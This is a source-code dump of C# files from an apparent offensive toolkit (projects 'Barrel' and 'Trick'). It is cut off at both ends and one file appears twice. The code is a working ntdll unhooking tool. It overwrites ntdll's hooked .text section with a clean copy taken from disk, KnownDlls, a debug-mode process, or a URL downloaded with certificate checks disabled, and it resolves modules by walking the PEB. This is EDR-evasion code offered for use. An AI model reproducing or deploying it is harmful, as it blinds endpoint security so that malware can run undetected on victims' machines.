| if (debugstop_res == false || terminateproc_res == false) 439 | { 440 | Console.WriteLine("[-] Error calling DebugActiveProcessStop or TerminateProcess"); 441 | Environment.Exit(0); 442 | } 443 | bool closehandle_proc = CloseHandle(pi.hProcess); 444 | bool closehandle_thread = CloseHandle(pi.hThread); 445 | if (!closehandle_proc || !closehandle_thread) 446 | { 447 | Console.WriteLine("[-] Error calling CloseHandle"); 448 | Environment.Exit(0); 449 | } 450 | 451 | return pNtdllBuffer; 452 | } 453 | 454 | 455 | // Overwrite hooked ntdll .text section with a clean version 456 | static void ReplaceNtdllTxtSection(IntPtr unhookedNtdllTxt, IntPtr localNtdllTxt, int localNtdllTxtSize) 457 | { 458 | // VirtualProtect to PAGE_EXECUTE_WRITECOPY 459 | uint dwOldProtection; 460 | bool vp1_res = VirtualProtect(localNtdllTxt, (uint)localNtdllTxtSize, PAGE_EXECUTE_WRITECOPY, out dwOldProtection); 461 | if (!vp1_res) 462 | { 463 | Console.WriteLine("[-] Error calling VirtualProtect (PAGE_EXECUTE_WRITECOPY)"); 464 | Environment.Exit(0); 465 | } 466 | 467 | // Copy from one address to the other 468 | unsafe 469 | { 470 | Buffer.MemoryCopy((void*)unhookedNtdllTxt, (void*)localNtdllTxt, localNtdllTxtSize, localNtdllTxtSize); 471 | } 472 | 473 | // VirtualProtect back to PAGE_EXECUTE_READ 474 | bool vp2_res = VirtualProtect(localNtdllTxt, (uint)localNtdllTxtSize, dwOldProtection, out dwOldProtection); 475 | if (!vp2_res) 476 | { 477 | Console.WriteLine("[-] Error calling VirtualProtect (dwOldProtection)"); 478 | Environment.Exit(0); 479 | } 480 | } 481 | 482 | 483 | public unsafe static IntPtr GetNtdllFromFromUrl(string dll_url) 484 | { 485 | Console.WriteLine("[+] Getting payload from url: " + dll_url); 486 | System.Net.ServicePointManager.ServerCertificateValidationCallback = delegate { return true; }; 487 | System.Net.ServicePointManager.SecurityProtocol = System.Net.SecurityProtocolType.Tls12; 488 | byte[] buf; 489 | using (System.Net.WebClient myWebClient = new System.Net.WebClient()) 490 | { 491 | try 492 | { 493 | System.Net.ServicePointManager.ServerCertificateValidationCallback = delegate { return true; }; 494 | buf = myWebClient.DownloadData(dll_url); 495 | fixed (byte* p = buf) 496 | { 497 | IntPtr ptr = (IntPtr)p; 498 | return ptr; 499 | } 500 | } 501 | catch (Exception ex) 502 | { 503 | Console.WriteLine(ex.ToString()); 504 | Environment.Exit(0); 505 | } 506 | } 507 | return IntPtr.Zero; 508 | } 509 | 510 | 511 | public static void ReplaceLibrary(string option, string wildcard_field) 512 | { 513 | // Clean DLL 514 | IntPtr unhookedNtdllTxt = IntPtr.Zero; 515 | switch (option) 516 | { 517 | // From file in disk 518 | case "disk": 519 | if (wildcard_field == "") 520 | { 521 | wildcard_field = "C:\\Windows\\System32\\ntdll.dll"; 522 | } 523 | IntPtr unhookedNtdllHandle = MapNtdllFromDisk(wildcard_field); 524 | unhookedNtdllTxt = unhookedNtdllHandle + offset_mappeddll; 525 | break; 526 | 527 | // From KnownDlls folder 528 | case "knowndlls": 529 | unhookedNtdllHandle = MapNtdllFromKnownDlls(); 530 | unhookedNtdllTxt = unhookedNtdllHandle + offset_mappeddll; 531 | break; 532 | 533 | // From a process created in DEBUG mode 534 | case "debugproc": 535 | if (wildcard_field == "") 536 | { 537 | wildcard_field = "c:\\windows\\system32\\calc.exe"; 538 | } 539 | unhookedNtdllTxt = GetNtdllFromDebugProc(wildcard_field); 540 | break; 541 | 542 | // From a process created in DEBUG mode 543 | case "download": 544 | if (wildcard_field == "") 545 | { 546 | wildcard_field = "http://127.0.0.1/ntdll.dll"; 547 | } 548 | unhookedNtdllHandle = GetNtdllFromFromUrl(wildcard_field); 549 | unhookedNtdllTxt = unhookedNtdllHandle + offset_fromdiskdll; 550 | break; 551 | 552 | // Default: Show usage message 553 | default: 554 | return; 555 | } 556 | 557 | // Local DLL 558 | IntPtr localNtdllHandle = CustomGetModuleHandle("ntdll.dll"); 559 | int[] result = GetTextSectionInfo(localNtdllHandle); 560 | int localNtdllTxtBase = result[0]; 561 | int localNtdllTxtSize = result[1]; 562 | IntPtr localNtdllTxt = localNtdllHandle + localNtdllTxtBase; 563 | 564 | // Replace DLL 565 | Console.WriteLine("[+] Copying " + localNtdllTxtSize + " bytes from 0x" + unhookedNtdllTxt.ToString("X") + " to 0x" + localNtdllTxt.ToString("X")); 566 | ReplaceNtdllTxtSection(unhookedNtdllTxt, localNtdllTxt, localNtdllTxtSize); 567 | } 568 | } 569 | } 570 | -------------------------------------------------------------------------------- /Barrel/NT.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | using System.Text; 4 | 5 | 6 | namespace Barrel 7 | { 8 | internal class NT 9 | { 10 | //////////////////// FUNCTIONS //////////////////// 11 | [DllImport("kernel32.dll", SetLastError = true)] 12 | public static extern IntPtr CreateFileA( 13 | string lpFileName, 14 | uint dwDesiredAccess, 15 | uint dwShareMode, 16 | uint lpSecurityAttributes, 17 | uint dwCreationDisposition, 18 | uint dwFlagsAndAttributes, 19 | uint hTemplateFile 20 | ); 21 | 22 | [DllImport("kernel32.dll", SetLastError = true)] 23 | public static extern bool VirtualProtect( 24 | IntPtr lpAddress, 25 | uint dwSize, 26 | uint flNewProtect, 27 | out uint lpflOldProtect 28 | ); 29 | 30 | [DllImport("Kernel32.dll", SetLastError = true)] 31 | public static extern bool CloseHandle( 32 | IntPtr handle 33 | ); 34 | 35 | [DllImport("kernel32.dll", SetLastError = true)] 36 | public static extern IntPtr CreateFileMappingA( 37 | IntPtr hFile, 38 | uint lpFileMappingAttributes, 39 | uint flProtect, 40 | uint dwMaximumSizeHigh, 41 | uint dwMaximumSizeLow, 42 | string lpName 43 | ); 44 | 45 | [DllImport("kernel32.dll", SetLastError = true)] 46 | public static extern IntPtr MapViewOfFile( 47 | IntPtr hFileMappingObject, 48 | uint dwDesiredAccess, 49 | uint dwFileOffsetHigh, 50 | uint dwFileOffsetLow, 51 | uint dwNumberOfBytesToMap 52 | ); 53 | 54 | [DllImport("ntdll.dll", SetLastError = true)] 55 | public static extern uint NtQueryInformationProcess( 56 | IntPtr processHandle, 57 | int processInformationClass, 58 | IntPtr pbi, 59 | uint processInformationLength, 60 | out uint returnLength 61 | ); 62 | 63 | [DllImport("kernel32.dll", SetLastError = true)] 64 | public static extern uint ReadProcessMemory( 65 | IntPtr hProcess, 66 | IntPtr lpBaseAddress, 67 | [Out] byte[] lpBuffer, 68 | int dwSize, 69 | out uint lpNumberOfBytesRead 70 | ); 71 | 72 | [DllImport("ntdll.dll", SetLastError = true)] 73 | public static extern uint NtOpenSection( 74 | ref IntPtr FileHandle, 75 | int DesiredAccess, 76 | ref OBJECT_ATTRIBUTES ObjectAttributes 77 | ); 78 | 79 | 80 | public static OBJECT_ATTRIBUTES InitializeObjectAttributes(string dll_name, UInt32 Attributes) 81 | { 82 | OBJECT_ATTRIBUTES objectAttributes = new OBJECT_ATTRIBUTES(); 83 | objectAttributes.RootDirectory = IntPtr.Zero; 84 | UNICODE_STRING objectName = new UNICODE_STRING(); 85 | objectName.Buffer = dll_name; 86 | objectName.Length = (ushort)(dll_name.Length * 2); 87 | objectName.MaximumLength = (ushort)(dll_name.Length * 2 + 2); 88 | objectAttributes.ObjectName = Marshal.AllocHGlobal(Marshal.SizeOf(objectName)); 89 | Marshal.StructureToPtr(objectName, objectAttributes.ObjectName, false); 90 | objectAttributes.SecurityDescriptor = IntPtr.Zero; 91 | objectAttributes.SecurityQualityOfService = IntPtr.Zero; 92 | objectAttributes.Attributes = Attributes; 93 | objectAttributes.Length = Convert.ToUInt32(Marshal.SizeOf(objectAttributes)); 94 | return objectAttributes; 95 | } 96 | 97 | [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] 98 | public static extern bool CreateProcess( 99 | string lpApplicationName, 100 | string lpCommandLine, 101 | IntPtr lpProcessAttributes, 102 | IntPtr lpThreadAttributes, 103 | bool bInheritHandles, 104 | uint dwCreationFlags, 105 | IntPtr lpEnvironment, 106 | string lpCurrentDirectory, 107 | ref STARTUPINFO lpStartupInfo, 108 | out PROCESS_INFORMATION lpProcessInformation 109 | ); 110 | 111 | [DllImport("kernel32.dll")] 112 | public static extern bool DebugActiveProcessStop( 113 | int dwProcessId 114 | ); 115 | 116 | [DllImport("kernel32.dll")] 117 | public static extern bool TerminateProcess( 118 | IntPtr hProcess, 119 | uint uExitCode 120 | ); 121 | 122 | ///////////////////// STRUCTS ///////////////////// 123 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 124 | public struct UNICODE_STRING 125 | { 126 | public ushort Length; 127 | public ushort MaximumLength; 128 | [MarshalAs(UnmanagedType.LPWStr)] public string Buffer; 129 | } 130 | 131 | [StructLayout(LayoutKind.Sequential)] 132 | public struct OBJECT_ATTRIBUTES 133 | { 134 | public uint Length; 135 | public IntPtr RootDirectory; 136 | public IntPtr ObjectName; 137 | public uint Attributes; 138 | public IntPtr SecurityDescriptor; 139 | public IntPtr SecurityQualityOfService; 140 | } 141 | 142 | [StructLayout(LayoutKind.Sequential)] 143 | public struct STARTUPINFO 144 | { 145 | public int cb; 146 | public IntPtr lpReserved; 147 | public IntPtr lpDesktop; 148 | public IntPtr lpTitle; 149 | public int dwX; 150 | public int dwY; 151 | public int dwXSize; 152 | public int dwYSize; 153 | public int dwXCountChars; 154 | public int dwYCountChars; 155 | public int dwFillAttribute; 156 | public int dwFlags; 157 | public short wShowWindow; 158 | public short cbReserved2; 159 | public IntPtr lpReserved2; 160 | public IntPtr hStdInput; 161 | public IntPtr hStdOutput; 162 | public IntPtr hStdError; 163 | } 164 | 165 | [StructLayout(LayoutKind.Sequential)] 166 | public struct PROCESS_INFORMATION 167 | { 168 | public IntPtr hProcess; 169 | public IntPtr hThread; 170 | public int dwProcessId; 171 | public int dwThreadId; 172 | } 173 | 174 | //////////////////// CONSTANTS //////////////////// 175 | public const uint GENERIC_READ = (uint)0x80000000; // https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/262970b7-cd4a-41f4-8c4d-5a27f0092aaa 176 | public const uint FILE_SHARE_READ = 0x00000001; 177 | public const uint OPEN_EXISTING = 3; // https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea 178 | public const uint FILE_ATTRIBUTE_NORMAL = (uint)0x00000080; // https://learn.microsoft.com/es-es/windows/win32/fileio/file-attribute-constants 179 | public const uint PAGE_READONLY = 0x02; // https://learn.microsoft.com/es-es/windows/win32/memory/memory-protection-constants 180 | public const uint SEC_IMAGE_NO_EXECUTE = 0x11000000; // https://learn.microsoft.com/es-es/windows/win32/api/winbase/nf-winbase-createfilemappinga 181 | public const uint FILE_MAP_READ = 4; // https://www.codeproject.com/Tips/79069/How-to-use-a-memory-mapped-file-with-Csharp-in-Win 182 | public const uint PAGE_EXECUTE_WRITECOPY = 0x80; 183 | public const uint OBJ_CASE_INSENSITIVE = 0x00000040; 184 | public const int SECTION_MAP_READ = 0x0004; // https://www.codeproject.com/Tips/79069/How-to-use-a-memory-mapped-file-with-Csharp-in-Win 185 | public const uint DEBUG_PROCESS = 0x00000001; 186 | public const int offset_mappeddll = 4096; 187 | public const int offset_fromdiskdll = 0x400; 188 | 189 | 190 | public unsafe static IntPtr CustomGetModuleHandle(String dll_name) 191 | { 192 | uint process_basic_information_size = 48; 193 | int peb_offset = 0x8; 194 | int ldr_offset = 0x18; 195 | int inInitializationOrderModuleList_offset = 0x30; 196 | int flink_dllbase_offset = 0x20; 197 | int flink_buffer_offset = 0x50; 198 | 199 | // Get current process handle 200 | IntPtr hProcess = System.Diagnostics.Process.GetCurrentProcess().Handle; 201 | 202 | // Create byte array with the size of the PROCESS_BASIC_INFORMATION structure 203 | byte[] pbi_byte_array = new byte[process_basic_information_size]; 204 | 205 | // Create a PROCESS_BASIC_INFORMATION structure in the byte array 206 | IntPtr pbi_addr = IntPtr.Zero; 207 | fixed (byte* p = pbi_byte_array) 208 | { 209 | pbi_addr = (IntPtr)p; 210 | NtQueryInformationProcess(hProcess, 0x0, pbi_addr, process_basic_information_size, out _); 211 | } 212 | 213 | // Get PEB Base Address 214 | IntPtr peb_pointer = pbi_addr + peb_offset; 215 | IntPtr pebaddress = Marshal.ReadIntPtr(peb_pointer); 216 | 217 | // Get Ldr 218 | IntPtr ldr_pointer = pebaddress + ldr_offset; 219 | IntPtr ldr_adress = Marshal.ReadIntPtr(ldr_pointer); 220 | 221 | // Get InInitializationOrderModuleList (LIST_ENTRY) inside _PEB_LDR_DATA struct 222 | IntPtr InInitializationOrderModuleList = ldr_adress + inInitializationOrderModuleList_offset; 223 | 224 | IntPtr next_flink = Marshal.ReadIntPtr(InInitializationOrderModuleList); 225 | IntPtr dll_base = (IntPtr)1337; 226 | while (dll_base != IntPtr.Zero) 227 | { 228 | next_flink = next_flink - 0x10; 229 | // Get DLL base address 230 | dll_base = Marshal.ReadIntPtr(next_flink + flink_dllbase_offset); 231 | IntPtr buffer = Marshal.ReadIntPtr(next_flink + flink_buffer_offset); 232 | 233 | // Get DLL name from buffer address 234 | String char_aux = null; 235 | String base_dll_name = ""; 236 | while (char_aux != "") 237 | { 238 | char_aux = Marshal.PtrToStringAnsi(buffer); 239 | buffer += 2; 240 | base_dll_name += char_aux; 241 | } 242 | next_flink = Marshal.ReadIntPtr(next_flink + 0x10); 243 | 244 | // Compare with DLL name we are searching 245 | if (dll_name.ToLower() == base_dll_name.ToLower()) 246 | { 247 | return dll_base; 248 | } 249 | } 250 | 251 | return IntPtr.Zero; 252 | } 253 | 254 | 255 | // Map ntdl.dll from the file in disk and return view address 256 | public static IntPtr MapNtdllFromDisk(string ntdll_path) 257 | { 258 | IntPtr hFile = CreateFileA(ntdll_path, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); 259 | 260 | // CreateFileA 261 | if (hFile == IntPtr.Zero) 262 | { 263 | Console.WriteLine("[-] Error calling CreateFileA"); 264 | Environment.Exit(0); 265 | } 266 | 267 | // CreateFileMappingA 268 | IntPtr hSection = CreateFileMappingA(hFile, 0, PAGE_READONLY | SEC_IMAGE_NO_EXECUTE, 0, 0, ""); 269 | if (hSection == IntPtr.Zero) 270 | { 271 | Console.WriteLine("[-] Error calling CreateFileMappingA"); 272 | Environment.Exit(0); 273 | } 274 | 275 | // MapViewOfFile 276 | IntPtr pNtdllBuffer = MapViewOfFile(hSection, FILE_MAP_READ, 0, 0, 0); 277 | if (pNtdllBuffer == IntPtr.Zero) 278 | { 279 | Console.WriteLine("[-] Error calling MapViewOfFile"); 280 | Environment.Exit(0); 281 | } 282 | 283 | // CloseHandle 284 | bool createfile_ch = CloseHandle(hFile); 285 | bool createfilemapping_ch = CloseHandle(hSection); 286 | if (!createfile_ch || !createfilemapping_ch) 287 | { 288 | Console.WriteLine("[-] Error calling CloseHandle"); 289 | Environment.Exit(0); 290 | } 291 | return pNtdllBuffer; 292 | } 293 | 294 | 295 | // Map ntdl.dll from the file in KnownDlls folder and return view address 296 | public static IntPtr MapNtdllFromKnownDlls() 297 | { 298 | // Initialize OBJECT_ATTRIBUTES struct 299 | string dll_name = "\\KnownDlls\\ntdll.dll"; 300 | 301 | // If 32-bit process the path changes 302 | if (IntPtr.Size == 4) 303 | { 304 | dll_name = "\\KnownDlls32\\ntdll.dll"; 305 | } 306 | OBJECT_ATTRIBUTES object_attribute = InitializeObjectAttributes(dll_name, OBJ_CASE_INSENSITIVE); 307 | 308 | // NtOpenSection 309 | IntPtr hSection = IntPtr.Zero; 310 | uint NtStatus = NtOpenSection(ref hSection, SECTION_MAP_READ, ref object_attribute); 311 | if (NtStatus != 0) 312 | { 313 | Console.WriteLine("[-] Error calling NtOpenSection. NTSTATUS: " + NtStatus.ToString("X")); 314 | Environment.Exit(0); 315 | } 316 | 317 | // MapViewOfFile 318 | IntPtr pNtdllBuffer = MapViewOfFile(hSection, SECTION_MAP_READ, 0, 0, 0); 319 | if (pNtdllBuffer == IntPtr.Zero) 320 | { 321 | Console.WriteLine("[-] Error calling MapViewOfFile"); 322 | Environment.Exit(0); 323 | } 324 | 325 | // CloseHandle 326 | bool createfilemapping_ch = CloseHandle(hSection); 327 | if (!createfilemapping_ch) 328 | { 329 | Console.WriteLine("[-] Error calling CloseHandle"); 330 | Environment.Exit(0); 331 | } 332 | 333 | return pNtdllBuffer; 334 | } 335 | 336 | 337 | public static int[] GetTextSectionInfo(IntPtr ntdl_address) 338 | { 339 | IntPtr hProcess = System.Diagnostics.Process.GetCurrentProcess().Handle; 340 | 341 | // Check MZ Signature 342 | byte[] data = new byte[2]; 343 | IntPtr signature_addr = ntdl_address; 344 | ReadProcessMemory(hProcess, signature_addr, data, data.Length, out _); 345 | string signature_dos_header = System.Text.Encoding.Default.GetString(data); 346 | if (signature_dos_header != "MZ") 347 | { 348 | Console.WriteLine("[-] Incorrect DOS header signature"); 349 | Environment.Exit(0); 350 | } 351 | 352 | // e_lfanew in offset 0x3C in _IMAGE_DOS_HEADER structure, its size is 4 bytes 353 | data = new byte[4]; 354 | IntPtr e_lfanew_addr = ntdl_address + 0x3C; 355 | ReadProcessMemory(hProcess, e_lfanew_addr, data, 4, out _); 356 | int e_lfanew = BitConverter.ToInt32(data, 0); 357 | 358 | // Check PE Signature 359 | IntPtr image_nt_headers_addr = ntdl_address + e_lfanew; 360 | data = new byte[2]; 361 | ReadProcessMemory(hProcess, image_nt_headers_addr, data, data.Length, out _); 362 | string signature_nt_header = System.Text.Encoding.Default.GetString(data); 363 | if (signature_nt_header != "PE") 364 | { 365 | Console.WriteLine("[-] Incorrect NT header signature"); 366 | Environment.Exit(0); 367 | } 368 | 369 | // Check Optional Headers Magic field value 370 | IntPtr optional_headers_addr = image_nt_headers_addr + 24; // Marshal.SizeOf(typeof(UInt32)) + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) = 24 371 | data = new byte[4]; 372 | ReadProcessMemory(hProcess, optional_headers_addr, data, data.Length, out _); 373 | int optional_header_magic = BitConverter.ToInt16(data, 0); 374 | if (optional_header_magic != 0x20B && optional_header_magic != 0x10B) 375 | { 376 | Console.WriteLine("[-] Incorrect Optional Header Magic field value"); 377 | Environment.Exit(0); 378 | } 379 | 380 | // SizeOfCode 381 | IntPtr sizeofcode_addr = optional_headers_addr + 4; // Uint16 (2 bytes) + Byte (1 byte) + Byte (1 byte) 382 | data = new byte[4]; 383 | ReadProcessMemory(hProcess, sizeofcode_addr, data, data.Length, out _); 384 | int sizeofcode = BitConverter.ToInt32(data, 0); 385 | 386 | // BaseOfCode 387 | IntPtr baseofcode_addr = optional_headers_addr + 20; // Uint16 (2 bytes) + 2 Byte (1 byte) + 4 Uint32 (4 byte) - public UInt16 Magic; public Byte MajorLinkerVersion; public Byte MinorLinkerVersion; public UInt32 SizeOfCode; public UInt32 SizeOfInitializedData; public UInt32 SizeOfUninitializedData; public UInt32 AddressOfEntryPoint; public UInt32 BaseOfCode; 388 | data = new byte[4]; 389 | ReadProcessMemory(hProcess, baseofcode_addr, data, data.Length, out _); 390 | int baseofcode = BitConverter.ToInt32(data, 0); 391 | 392 | int[] result = { baseofcode, sizeofcode }; 393 | return result; 394 | } 395 | 396 | 397 | // Create debug process, map its ntdl.dll .text section and copy it to a new buffer, return the buffer address 398 | public unsafe static IntPtr GetNtdllFromDebugProc(string process_path) 399 | { 400 | // CreateProcess in DEBUG mode 401 | STARTUPINFO si = new STARTUPINFO(); 402 | si.cb = System.Runtime.InteropServices.Marshal.SizeOf(si); 403 | PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); 404 | bool createprocess_res = CreateProcess(process_path, null, IntPtr.Zero, IntPtr.Zero, false, DEBUG_PROCESS, IntPtr.Zero, null, ref si, out pi); 405 | if (!createprocess_res) 406 | { 407 | Console.WriteLine("[-] Error calling CreateProcess"); 408 | Environment.Exit(0); 409 | } 410 | 411 | // Ntdll .Text Section Address and Size from local process 412 | IntPtr localNtdllHandle = CustomGetModuleHandle("ntdll.dll"); 413 | int[] result = GetTextSectionInfo(localNtdllHandle); 414 | int localNtdllTxtBase = result[0]; 415 | int localNtdllTxtSize = result[1]; 416 | IntPtr localNtdllTxt = localNtdllHandle + localNtdllTxtBase; 417 | 418 | // ReadProcessMemory to copy the bytes from ntdll.dll in the suspended process into a new buffer (ntdllBuffer) 419 | // debugged_process ntdll_handle = local ntdll_handle --> debugged_process .text section ntdll_handle = local .text section ntdll_handle 420 | byte[] ntdllBuffer = new byte[localNtdllTxtSize]; 421 | uint readprocmem_res = ReadProcessMemory(pi.hProcess, localNtdllTxt, ntdllBuffer, ntdllBuffer.Length, out _); 422 | if (readprocmem_res == 0) 423 | { 424 | Console.WriteLine("[-] Error calling ReadProcessMemory"); 425 | Environment.Exit(0); 426 | } 427 | 428 | // Get pointer to the buffer containing ntdll.dll 429 | IntPtr pNtdllBuffer = IntPtr.Zero; 430 | fixed (byte* p = ntdllBuffer) 431 | { 432 | pNtdllBuffer = (IntPtr)p; 433 | } 434 | 435 | // Terminate and close handles in debug process 436 | bool debugstop_res = DebugActiveProcessStop(pi.dwProcessId); 437 | bool terminateproc_res = TerminateProcess(pi.hProcess, 0); 438 | if (debugstop_res == false || terminateproc_res == false) 439 | { 440 | Console.WriteLine("[-] Error calling DebugActiveProcessStop or TerminateProcess"); 441 | Environment.Exit(0); 442 | } 443 | bool closehandle_proc = CloseHandle(pi.hProcess); 444 | bool closehandle_thread = CloseHandle(pi.hThread); 445 | if (!closehandle_proc || !closehandle_thread) 446 | { 447 | Console.WriteLine("[-] Error calling CloseHandle"); 448 | Environment.Exit(0); 449 | } 450 | 451 | return pNtdllBuffer; 452 | } 453 | 454 | 455 | // Overwrite hooked ntdll .text section with a clean version 456 | static void ReplaceNtdllTxtSection(IntPtr unhookedNtdllTxt, IntPtr localNtdllTxt, int localNtdllTxtSize) 457 | { 458 | // VirtualProtect to PAGE_EXECUTE_WRITECOPY 459 | uint dwOldProtection; 460 | bool vp1_res = VirtualProtect(localNtdllTxt, (uint)localNtdllTxtSize, PAGE_EXECUTE_WRITECOPY, out dwOldProtection); 461 | if (!vp1_res) 462 | { 463 | Console.WriteLine("[-] Error calling VirtualProtect (PAGE_EXECUTE_WRITECOPY)"); 464 | Environment.Exit(0); 465 | } 466 | 467 | // Copy from one address to the other 468 | unsafe 469 | { 470 | Buffer.MemoryCopy((void*)unhookedNtdllTxt, (void*)localNtdllTxt, localNtdllTxtSize, localNtdllTxtSize); 471 | } 472 | 473 | // VirtualProtect back to PAGE_EXECUTE_READ 474 | bool vp2_res = VirtualProtect(localNtdllTxt, (uint)localNtdllTxtSize, dwOldProtection, out dwOldProtection); 475 | if (!vp2_res) 476 | { 477 | Console.WriteLine("[-] Error calling VirtualProtect (dwOldProtection)"); 478 | Environment.Exit(0); 479 | } 480 | } 481 | 482 | 483 | public unsafe static IntPtr GetNtdllFromFromUrl(string dll_url) 484 | { 485 | Console.WriteLine("[+] Getting payload from url: " + dll_url); 486 | System.Net.ServicePointManager.ServerCertificateValidationCallback = delegate { return true; }; 487 | System.Net.ServicePointManager.SecurityProtocol = System.Net.SecurityProtocolType.Tls12; 488 | byte[] buf; 489 | using (System.Net.WebClient myWebClient = new System.Net.WebClient()) 490 | { 491 | try 492 | { 493 | System.Net.ServicePointManager.ServerCertificateValidationCallback = delegate { return true; }; 494 | buf = myWebClient.DownloadData(dll_url); 495 | fixed (byte* p = buf) 496 | { 497 | IntPtr ptr = (IntPtr)p; 498 | return ptr; 499 | } 500 | } 501 | catch (Exception ex) 502 | { 503 | Console.WriteLine(ex.ToString()); 504 | Environment.Exit(0); 505 | } 506 | } 507 | return IntPtr.Zero; 508 | } 509 | 510 | 511 | public static void ReplaceLibrary(string option, string wildcard_field) 512 | { 513 | // Clean DLL 514 | IntPtr unhookedNtdllTxt = IntPtr.Zero; 515 | switch (option) 516 | { 517 | // From file in disk 518 | case "disk": 519 | if (wildcard_field == "") 520 | { 521 | wildcard_field = "C:\\Windows\\System32\\ntdll.dll"; 522 | } 523 | IntPtr unhookedNtdllHandle = MapNtdllFromDisk(wildcard_field); 524 | unhookedNtdllTxt = unhookedNtdllHandle + offset_mappeddll; 525 | break; 526 | 527 | // From KnownDlls folder 528 | case "knowndlls": 529 | unhookedNtdllHandle = MapNtdllFromKnownDlls(); 530 | unhookedNtdllTxt = unhookedNtdllHandle + offset_mappeddll; 531 | break; 532 | 533 | // From a process created in DEBUG mode 534 | case "debugproc": 535 | if (wildcard_field == "") 536 | { 537 | wildcard_field = "c:\\windows\\system32\\calc.exe"; 538 | } 539 | unhookedNtdllTxt = GetNtdllFromDebugProc(wildcard_field); 540 | break; 541 | 542 | // From a process created in DEBUG mode 543 | case "download": 544 | if (wildcard_field == "") 545 | { 546 | wildcard_field = "http://127.0.0.1/ntdll.dll"; 547 | } 548 | unhookedNtdllHandle = GetNtdllFromFromUrl(wildcard_field); 549 | unhookedNtdllTxt = unhookedNtdllHandle + offset_fromdiskdll; 550 | break; 551 | 552 | // Default: Show usage message 553 | default: 554 | return; 555 | } 556 | 557 | // Local DLL 558 | IntPtr localNtdllHandle = CustomGetModuleHandle("ntdll.dll"); 559 | int[] result = GetTextSectionInfo(localNtdllHandle); 560 | int localNtdllTxtBase = result[0]; 561 | int localNtdllTxtSize = result[1]; 562 | IntPtr localNtdllTxt = localNtdllHandle + localNtdllTxtBase; 563 | 564 | // Replace DLL 565 | Console.WriteLine("[+] Copying " + localNtdllTxtSize + " bytes from 0x" + unhookedNtdllTxt.ToString("X") + " to 0x" + localNtdllTxt.ToString("X")); 566 | ReplaceNtdllTxtSection(unhookedNtdllTxt, localNtdllTxt, localNtdllTxtSize); 567 | } 568 | } 569 | } 570 | -------------------------------------------------------------------------------- /Trick/NT.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | 5 | namespace Trick 6 | { 7 | internal class NT 8 | { 9 | //////////////////// FUNCTIONS //////////////////// 10 | [DllImport("kernel32.dll", SetLastError = true)] 11 | public static extern IntPtr CreateFileA( 12 | string lpFileName, 13 | uint dwDesiredAccess, 14 | uint dwShareMode, 15 | uint lpSecurityAttributes, 16 | uint dwCreationDisposition, 17 | uint dwFlagsAndAttributes, 18 | uint hTemplateFile 19 | ); 20 | 21 | [DllImport("kernel32.dll", SetLastError = true)] 22 | public static extern bool VirtualProtect( 23 | IntPtr lpAddress, 24 | uint dwSize, 25 | uint flNewProtect, 26 | out uint lpflOldProtect 27 | ); 28 | 29 | [DllImport("Kernel32.dll", SetLastError = true)] 30 | public static extern bool CloseHandle( 31 | IntPtr handle 32 | ); 33 | 34 | [DllImport("kernel32.dll", SetLastError = true)] 35 | public static extern IntPtr CreateFileMappingA( 36 | IntPtr hFile, 37 | uint lpFileMappingAttributes, 38 | uint flProtect, 39 | uint dwMaximumSizeHigh, 40 | uint dwMaximumSizeLow, 41 | string lpName 42 | ); 43 | 44 | [DllImport("kernel32.dll", SetLastError = true)] 45 | public static extern IntPtr MapViewOfFile( 46 | IntPtr hFileMappingObject, 47 | uint dwDesiredAccess, 48 | uint dwFileOffsetHigh, 49 | uint dwFileOffsetLow, 50 | uint dwNumberOfBytesToMap 51 | ); 52 | 53 | [DllImport("ntdll.dll", SetLastError = true)] 54 | public static extern uint NtQueryInformationProcess( 55 | IntPtr processHandle, 56 | int processInformationClass, 57 | IntPtr pbi, 58 | uint processInformationLength, 59 | out uint returnLength 60 | ); 61 | 62 | [DllImport("kernel32.dll", SetLastError = true)] 63 | public static extern uint ReadProcessMemory( 64 | IntPtr hProcess, 65 | IntPtr lpBaseAddress, 66 | [Out] byte[] lpBuffer, 67 | int dwSize, 68 | out uint lpNumberOfBytesRead 69 | ); 70 | 71 | [DllImport("ntdll.dll", SetLastError = true)] 72 | public static extern uint NtOpenSection( 73 | ref IntPtr FileHandle, 74 | int DesiredAccess, 75 | ref OBJECT_ATTRIBUTES ObjectAttributes 76 | ); 77 | 78 | [DllImport("ntdll.dll", SetLastError = true)] 79 | public static extern uint RtlGetVersion(ref OSVERSIONINFOEX lpVersionInformation); 80 | 81 | 82 | public static OBJECT_ATTRIBUTES InitializeObjectAttributes(string dll_name, UInt32 Attributes) 83 | { 84 | OBJECT_ATTRIBUTES objectAttributes = new OBJECT_ATTRIBUTES(); 85 | objectAttributes.RootDirectory = IntPtr.Zero; 86 | UNICODE_STRING objectName = new UNICODE_STRING(); 87 | objectName.Buffer = dll_name; 88 | objectName.Length = (ushort)(dll_name.Length * 2); 89 | objectName.MaximumLength = (ushort)(dll_name.Length * 2 + 2); 90 | objectAttributes.ObjectName = Marshal.AllocHGlobal(Marshal.SizeOf(objectName)); 91 | Marshal.StructureToPtr(objectName, objectAttributes.ObjectName, false); 92 | objectAttributes.SecurityDescriptor = IntPtr.Zero; 93 | objectAttributes.SecurityQualityOfService = IntPtr.Zero; 94 | objectAttributes.Attributes = Attributes; 95 | objectAttributes.Length = Convert.ToUInt32(Marshal.SizeOf(objectAttributes)); 96 | return objectAttributes; 97 | } 98 | 99 | [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] 100 | public static extern bool CreateProcess( 101 | string lpApplicationName, 102 | string lpCommandLine, 103 | IntPtr lpProcessAttributes, 104 | IntPtr lpThreadAttributes, 105 | bool bInheritHandles, 106 | uint dwCreationFlags, 107 | IntPtr lpEnvironment, 108 | string lpCurrentDirectory, 109 | ref STARTUPINFO lpStartupInfo, 110 | out PROCESS_INFORMATION lpProcessInformation 111 | ); 112 | 113 | [DllImport("kernel32.dll")] 114 | public static extern bool DebugActiveProcessStop( 115 | int dwProcessId 116 | ); 117 | 118 | 